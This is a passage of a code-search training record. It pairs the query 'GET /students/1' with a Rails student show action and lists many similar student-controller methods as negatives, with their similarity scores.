"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n \n \n format.json { render json: @student }\n end\n end",
"def index\n @student_entities = StudentEntity.all\n render json: @student_entities, status: :ok\n end",
"def show\n @student = Student.find(params[:id])\n @times = times\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n \n if current_user.teacher.nil?\n @students = []\n @groups = []\n else\n @student = current_user.teacher.students.find(params[:id])\n @groups = current_user.teacher.groups\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @course = Course.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def index\n @student_profiles = StudentProfile.all \n render json: @student_profiles\n end",
"def students\n users.students\n end",
"def show\n @enrolled_student = EnrolledStudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enrolled_student }\n end\n end",
"def sample_students_json\n raise Exceptions::EducatorNotAuthorized unless current_educator.can_set_districtwide_access?\n\n seed = params.fetch(:seed, '42').to_i\n n = params.fetch(:n, '40').to_i\n authorized_sample_students = authorized do\n Student.active.sample(n, random: Random.new(seed))\n end\n sample_students_json = authorized_sample_students.as_json({\n only: [:id, :grade, :first_name, :last_name],\n include: {\n school: {\n only: [:id, :name, :school_type]\n }\n }\n })\n render json: {\n sample_students: sample_students_json\n }\n end",
"def show\n @online_student = OnlineStudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_student }\n end\n end",
"def index\n # We will be creating a new student object to use with Register URL form\n @student = Student.new \n @students = Student.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @urls }\n end\n end",
"def index\n @students = Student.all\n respond_to do |format|\n format.html\n format.json {render json: StudentsDatatable.new(view_context)}\n end\n end",
"def show\n @student_major = StudentMajor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_major }\n end\n end",
"def index\n @students = Student.all(:order => \"family_name\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def show\n student = StudentEntity.find_by(id: params[:id])\n if student.present?\n render json: student, staus: :ok\n else\n render json: {msg: \"not found\"}, staus: :not_found\n end\n end",
"def student_show\n @course = Course.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n \n end",
"def show\n respond_to do |format|\n format.html\n format.json {render json: @student, serializer: StudentSerializer, include: '**'}\n end\n end",
"def show\n add_breadcrumb @student.login, student_path(@student.login)\n @student_data = gon.jbuilder template: 'app/views/students/show.json.jbuilder', as: 'student_data' if request.format.symbol != :json\n end",
"def index\n # logger.info \"☻ request query parameters: #{request.query_parameters}\"\n\n # logger.info \"--> #{request.fullpath}\"\n # logger.info \"--> GITHUB_KEY: #{ENV['GITHUB_KEY']}\"\n # logger.info \"--> GITHUB_SECRET: #{ENV['GITHUB_SECRET']}\"\n\n class_name = params[:class_name] || \"unknown\"\n year = params[:year] || \"2011\"\n semester = params[:semester] || \"summer\"\n\n if params[:class_name]\n @students = Student.where(class_name: class_name, year: year, semester: semester)\n else\n @students = Student.where(year: 2011, semester: \"summer\", class_name: \"unallocated\")\n end\n\n # @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def list\n @students= Student.all\n end",
"def show\n @student = Student.find(params[:id])\n\n _load_constants\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @dojo_student = DojoStudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dojo_student }\n end\n end",
"def show\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_test }\n end\n end",
"def students\n users\n end",
"def index\n @student_types = StudentType.all\n\n render json: @student_types\n end",
"def show\n @studentgrade = Studentgrade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @studentgrade }\n end\n end",
"def show\n render json: @student_type\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def show\n @studentset = Studentset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @studentset }\n end\n end",
"def show\n @indexstudent = Indexstudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indexstudent }\n end\n end",
"def index\n @user = User.find(session[:user_id])\n @schools = @user.schools\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schools }\n end\n end",
"def index\n @student_sources = StudentSource.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @student_sources }\n end\n end",
"def show\n @student = current_user.groups[0].students.find(params[:id])\n\n respond_to do |format|\n format.js\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def get_student\n @student = Student.find(params[:student_id])\n end",
"def students_for_grade_level_next_year_json\n params.require(:workspace_id)\n params.require(:school_id)\n params.require(:grade_level_next_year)\n school_id = params[:school_id].to_i\n grade_level_next_year = params[:grade_level_next_year]\n\n # Check authorization by grade level, differently than normal.\n students = queries.authorized_students_for_next_year(school_id, grade_level_next_year)\n students_json = ClassListQueries.students_as_json(students)\n\n # educator names\n educators_json = Educator.where(school_id: school_id).as_json(only: [:id, :full_name])\n\n render json: {\n students: students_json,\n educators: educators_json,\n current_educator_id: current_educator.id\n }\n end",
"def filter_students\n respond_to do |format|\n format.json {\n @students = User.where(:professor => false, :administrator => false)\n param = params[:payload]\n\n # go through each filter and get students matching all filters\n if param[:filter]\n for filter in param[:filter]\n\n # get student matching current filter\n @student_attributes = StudentAttribute.where(:requirement_subcategory_id => filter[:id])\n @filter_student = Array.new\n for attr in @student_attributes\n @filter_student.push(User.find_by_id(attr.user_id))\n end\n\n # exclude students\n # that don't have current filter from list\n @new_student_list = Array.new\n for item in @filter_student\n if @students.include?(item)\n @new_student_list.push(item)\n end\n end\n @students = @new_student_list\n end\n end\n\n # grab a page of students (10)\n direction = param[:direction]\n current_offset = (params[:payload][:pagenumber] - 1)*10\n\n if @students and current_offset + direction < @students.length && current_offset + direction >= 0\n offset = current_offset + direction\n initial = offset\n terminate = offset + 9\n render :json => @students[initial..terminate]\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def index\n @course = params[:course_id]\n @students = Student.left_join_enrolls @course\n puts @students.as_json\n end",
"def show\n @camp = Camp.find(params[:id])\n @students = Student.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @camp }\n end\n end",
"def index\n @people_students = People::Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @q = Student.search(params[:q])\n @students = @q.result.page(params[:page])\n end",
"def index\n @students = Student.all\n render :index\n end",
"def show\n @student_source = StudentSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_source }\n end\n end"
] |
[
"0.78874433",
"0.77285767",
"0.7703694",
"0.76748186",
"0.7627283",
"0.752462",
"0.7511281",
"0.7511281",
"0.74931425",
"0.74641156",
"0.741123",
"0.7402749",
"0.738447",
"0.73735154",
"0.7360754",
"0.7352857",
"0.7268802",
"0.7268802",
"0.7268802",
"0.7268802",
"0.7268802",
"0.7268802",
"0.7268802",
"0.7268802",
"0.7205483",
"0.7205483",
"0.719433",
"0.7149671",
"0.7141491",
"0.71409416",
"0.71406305",
"0.71359944",
"0.71198654",
"0.7101994",
"0.6978303",
"0.6974626",
"0.6974257",
"0.69739354",
"0.694803",
"0.6918927",
"0.69047046",
"0.68781304",
"0.6874343",
"0.6850575",
"0.68214154",
"0.68173623",
"0.6800228",
"0.67679507",
"0.67654467",
"0.67618185",
"0.67543614",
"0.6752494",
"0.6722277",
"0.6715025",
"0.671162",
"0.6700707",
"0.66965795",
"0.66831994",
"0.667217",
"0.66678923",
"0.66587716",
"0.66584766",
"0.66457516",
"0.6608683",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6587945",
"0.6583855",
"0.6572703",
"0.65694344",
"0.65517545",
"0.6539273",
"0.65381014",
"0.65221596",
"0.65155244",
"0.6513364",
"0.6500215",
"0.6486311",
"0.6470888",
"0.6470888",
"0.64566827",
"0.64299023",
"0.6421798"
] |
0.0
|
-1
|
GET /students/1 GET /students/1.json
|
def show
user_type = session[:user_type]
case user_type
when ApplicationController::TYPE_STUDENT
if(current_user.id != params[:id].to_i)
flash[:notice] = "You are not authorised to perform this action"
redirect_to root_path
end
when ApplicationController::TYPE_LIBRARIAN
flash[:notice] = "You are not authorised to perform this action"
redirect_to root_path
when ApplicationController::TYPE_ADMIN
# admin can see any student
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_student\n @student = Student.find(params[:std_id])\n render json: @student\n end",
"def show\n student = Student.find(params[:id])\n render json: student\nend",
"def show\n @student = User.find params[:id]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @student }\n end\n end",
"def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end",
"def index\n @students = Student.all\n render json: @students\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @student }\n end\n end",
"def my_students(query={})\n self.simple_client.get(\"/api/v1/students?#{query.to_query}\")\n end",
"def index\n @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def index\n @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def show\n respond_to do |format|\n format.json {\n\n @student = User.find_by_id(params[:id])\n\n if @student\n render :json => @student\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n # @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def index\n @students = Student.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def index\n puts render json: @user.students, each_serializer: UserSerializer\n end",
"def index\n @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @students }\n end\n end",
"def show\n student = Student.find(params[:id])\n\n render json: {status: 'SUCCESS', message:\"Student listed with name #{student.name}\", data:student}, status: :ok\n end",
"def show\n render json: @student\n end",
"def show\n @student_user = StudentUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_user }\n end\n end",
"def index\n @students = current_user.groups[0].students\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n \n \n format.json { render json: @student }\n end\n end",
"def show\n student = Student.find(params[:id])\n render json: { status: '200', message: \"Loaded Student with id #{params[:id]}\", data: student }, status: :ok\n rescue ActiveRecord::RecordNotFound\n render json: { status: '404', error: \"No Student with id #{params[:id]}\", data: student }, status: :not_found\n end",
"def school_students(query={})\n self.simple_client.get(\"/api/v1/schools/my/students?#{query.to_query}\")\n end",
"def show\r\n @student1 = Student1.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @student1 }\r\n end\r\n end",
"def index\n @students = Student.all\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @students.pluck(:id, :firstname, :lastname) }\n end\n end",
"def index\n @students = Student.all\n respond_to do |format|\n\t\t\tformat.html { render :index }\n\t\t\tformat.json { render json: Oj.dump(@students) }\n\t\tend\n end",
"def show\n @student = Student.find(params[:id])\n @times = times\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student_major = StudentMajor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_major }\n end\n end",
"def students\n @course = Course.find(params[:id])\n\t\t@students = @course.students\n\t\t@other_students = Student.find(:all, :conditions => [\"id not in (select student_id from courses_students where course_id=?)\", @course.id])\n\n respond_to do |format|\n format.html # students.html.erb\n format.json { render :json => @students }\n end\n end",
"def show\n @course = Course.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n student = StudentEntity.find_by(id: params[:id])\n if student.present?\n render json: student, staus: :ok\n else\n render json: {msg: \"not found\"}, staus: :not_found\n end\n end",
"def show\n @indexstudent = Indexstudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indexstudent }\n end\n end",
"def index\n if request.format == \"json\"\n @students = Student.all.order(:last_name)\n end\n end",
"def show\n @dojo_student = DojoStudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dojo_student }\n end\n end",
"def show\n @enrolled_student = EnrolledStudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enrolled_student }\n end\n end",
"def show\n @online_student = OnlineStudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_student }\n end\n end",
"def show\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_test }\n end\n end",
"def show\n @studentgrade = Studentgrade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @studentgrade }\n end\n end",
"def get_student\n @student = Student.find(params[:student_id])\n end",
"def index\n @students = Student.paginate(page: params[:page], per_page: 2)\n #respond_with(@students)\n respond_to do |format|\n format.json {render json: {\"students\": @students}}\n format.html #index.html.erb\n end\n end",
"def student_show\n @course = Course.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n \n end",
"def show\n @student = Student.find(params[:id])\n\n _load_constants\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def index\n @student_profiles = StudentProfile.all \n render json: @student_profiles\n end",
"def students\n student_size = User.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n if current_offset + direction < student_size && current_offset + direction >= 0\n offset = current_offset + direction\n @students = User.all.offset(offset).take(10) \n render :json => @students\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n\tend",
"def show\n @studentset = Studentset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @studentset }\n end\n end",
"def index\n @online_students = OnlineStudent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @online_students }\n end\n end",
"def student\n\n\t\tif(params[:student_user_id].eql?('null') || params[:classroom_id].eql?('null') )\n\t\t\trender json: {status: \"error\", error: \"invalid-student-user-or-classroom\"}\n\t\telse\n\t\t\tstudent = StudentUser.joins(:classrooms)\n\t\t\t\t.joins(\"inner join teacher_users t on classrooms.teacher_user_id = t.id\")\n\t\t\t\t.where(\"t.id = ?\", @current_teacher_user.id)\n\t\t\t\t.where(\"classrooms.id = ?\", params[:classroom_id])\n\t\t\t\t.where(\"student_users.id = ?\" , params[:student_user_id])\n\t\t\t\t.first\n\n\t\t\tif(!student.nil?)\n\t\t\t\tstudent = student.as_json\n\t\t\t\tstudent.delete(\"salt\")\n\t\t student.delete(\"password_digest\")\n\t\t student.delete(\"oauth_expires_at\")\n\t\t student.delete(\"oauth_token\")\n\t\t student.delete(\"updated_at\")\n\t\t student.delete(\"create_at\")\n\n\t\t\t\trender json: {status: \"success\", student: student}\n\t\t\t\n\t\t\telse\n\n\t\t\t\trender json: {status: \"error\", error: \"invalid-student-user-or-classroom\"}\n\n\t\t\tend\n\t\tend\n\t\t\n\t\t\n\tend",
"def index\n @student_entities = StudentEntity.all\n render json: @student_entities, status: :ok\n end",
"def show\n respond_to do |format|\n format.html\n format.json {render json: @student, serializer: StudentSerializer, include: '**'}\n end\n end",
"def show\n render json: @student_type\n end",
"def index\n # We will be creating a new student object to use with Register URL form\n @student = Student.new \n @students = Student.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @urls }\n end\n end",
"def show\n @student_source = StudentSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_source }\n end\n end",
"def index\n @students = Student.all(:order => \"family_name\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def show\n @camp = Camp.find(params[:id])\n @students = Student.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @camp }\n end\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n \n if current_user.teacher.nil?\n @students = []\n @groups = []\n else\n @student = current_user.teacher.students.find(params[:id])\n @groups = current_user.teacher.groups\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = current_user.groups[0].students.find(params[:id])\n\n respond_to do |format|\n format.js\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def index\n @students = Student.all\n respond_to do |format|\n format.html\n format.json {render json: StudentsDatatable.new(view_context)}\n end\n end",
"def index\n @user = User.find(session[:user_id])\n @schools = @user.schools\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schools }\n end\n end",
"def show\n @student = find_student # Load the student mentioned by id in the route\n end",
"def index\n # logger.info \"☻ request query parameters: #{request.query_parameters}\"\n\n # logger.info \"--> #{request.fullpath}\"\n # logger.info \"--> GITHUB_KEY: #{ENV['GITHUB_KEY']}\"\n # logger.info \"--> GITHUB_SECRET: #{ENV['GITHUB_SECRET']}\"\n\n class_name = params[:class_name] || \"unknown\"\n year = params[:year] || \"2011\"\n semester = params[:semester] || \"summer\"\n\n if params[:class_name]\n @students = Student.where(class_name: class_name, year: year, semester: semester)\n else\n @students = Student.where(year: 2011, semester: \"summer\", class_name: \"unallocated\")\n end\n\n # @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def index\n @student_types = StudentType.all\n\n render json: @student_types\n end",
"def show\n add_breadcrumb @student.login, student_path(@student.login)\n @student_data = gon.jbuilder template: 'app/views/students/show.json.jbuilder', as: 'student_data' if request.format.symbol != :json\n end",
"def show\n @student_availability = StudentAvailability.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_availability }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n render :show\nend",
"def show\n @student = Student.find_by_id(params[:id])\n end",
"def show\n @study = Study.find(params[:id])\n render json: @study\n end",
"def show\n @student = Student.find(params[:id])\n\n if (@student.family_id && @student.family_id > 0)\n @family = Family.find(@student.family_id)\n end\n\n @resound_process = ResoundProcess.find_by_student_id(@student.id)\n\n @instruments = Instrument.all\n @instrument_names = Instrument.all.collect { |instrument| [instrument.name, instrument.id] }\n\n @student_instrument = StudentInstrument.new\n @student_availability = StudentAvailability.new\n @preferred_teacher = PreferredTeacher.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inschool }\n end\n end",
"def index\n @student_sources = StudentSource.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @student_sources }\n end\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end",
"def index\n @students = Student.all\n end"
] |
[
"0.79915404",
"0.77167404",
"0.764098",
"0.7618442",
"0.7569385",
"0.75570226",
"0.75570226",
"0.75570226",
"0.75570226",
"0.75570226",
"0.75570226",
"0.75570226",
"0.75570226",
"0.749562",
"0.749562",
"0.7488676",
"0.74655014",
"0.74655014",
"0.74454695",
"0.74425215",
"0.7441312",
"0.7434605",
"0.7420545",
"0.7384584",
"0.73802096",
"0.7371361",
"0.73150074",
"0.7272112",
"0.72671133",
"0.7266782",
"0.7248199",
"0.72079915",
"0.71729434",
"0.7146067",
"0.7097866",
"0.70735395",
"0.7072368",
"0.7024286",
"0.7017991",
"0.70119876",
"0.70091045",
"0.70013493",
"0.69904315",
"0.6980124",
"0.69538707",
"0.69420683",
"0.6925956",
"0.6912595",
"0.6903479",
"0.6874905",
"0.68656427",
"0.68467116",
"0.6833791",
"0.6809744",
"0.68085957",
"0.6796223",
"0.67803144",
"0.6746047",
"0.67390096",
"0.673745",
"0.67246085",
"0.6718684",
"0.6718684",
"0.6718684",
"0.6718684",
"0.6718684",
"0.66971177",
"0.66733706",
"0.66572994",
"0.6655061",
"0.6650502",
"0.6625196",
"0.661673",
"0.6606733",
"0.65878105",
"0.6585096",
"0.6579794",
"0.65757805",
"0.656222",
"0.6542772",
"0.65301836",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483",
"0.6523483"
] |
0.0
|
-1
|
POST /students POST /students.json
|
def create
@student = Student.new(student_params)
@student.set_book_limit
respond_to do |format|
if @student.save
format.html { redirect_to root_url, notice: 'Student was successfully created.' }
format.json { render :show, status: :created, location: @student }
else
format.html { render :new }
format.json { render json: @student.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @student = Student.new(student_params)\n\n if @student.save\n render json: @student, status: :created\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def create\n @student = current_user.students.create(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Registro Exitoso.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_user.students.build(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_url, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tp = params[:student]\n\t\thash = { :original_name => p['original_name'], :sort_name => Student.make_sort_name(p['original_name']), :other_name => p['other_name'],\n\t\t\t:gender => p['gender'] == 'Male' ? 'M' : 'F', :born => VagueDate.factory(p['born']).to_s, :died => VagueDate.factory(p['died']).to_s,\n\t\t\t:home_town => p['home_town']['town'], :home_state => p['home_town']['state'], :home_country => p['home_town']['country'],\n\t\t\t:biographical_notes => p['biographical_notes'], :quotes => p['quotes'], :additional_notes => p['additional_notes'], :private_notes => p['private_notes'], :is_stub => 0\n\t\t}\n\n\t\t@student = Student.new(hash)\n\t\t@student.generate_unique_name()\n\n\t\trespond_to do |format|\n\t\t\tif @student.save\n\t\t\t\tmarriages = parse_array(p['marriage'])\n\t\t\t\tmarriages.each {|marriage|\n\t\t\t\t\tif !marriage['name'].blank?\n\t\t\t\t\t\tMarriage.create_marriage(@student, { :name => marriage['name'] }, marriage['date'])\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tresidences = parse_array(p['residence'])\n\t\t\t\tresidences.each {|residence|\n\t\t\t\t\tif !residence.blank?\n\t\t\t\t\t\tStudentResidence.create_residence(@student, residence)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tBrowse.student_changed(@student, nil)\n\t\t\t\tsolr().add_object(@student.to_solr())\n\n\t\t\t\tformat.html { redirect_to(@student, :notice => 'The student was successfully created.') }\n\t\t\telse\n\t\t\t\tformat.html {\n\t\t\t\t\t@page_title = 'Student'\n\t\t\t\t\tnew_setup()\n\t\t\t\t\trender :action => \"new\"\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\tend",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n format.json { render json :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n if @student.save\n render :show, status: :created, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
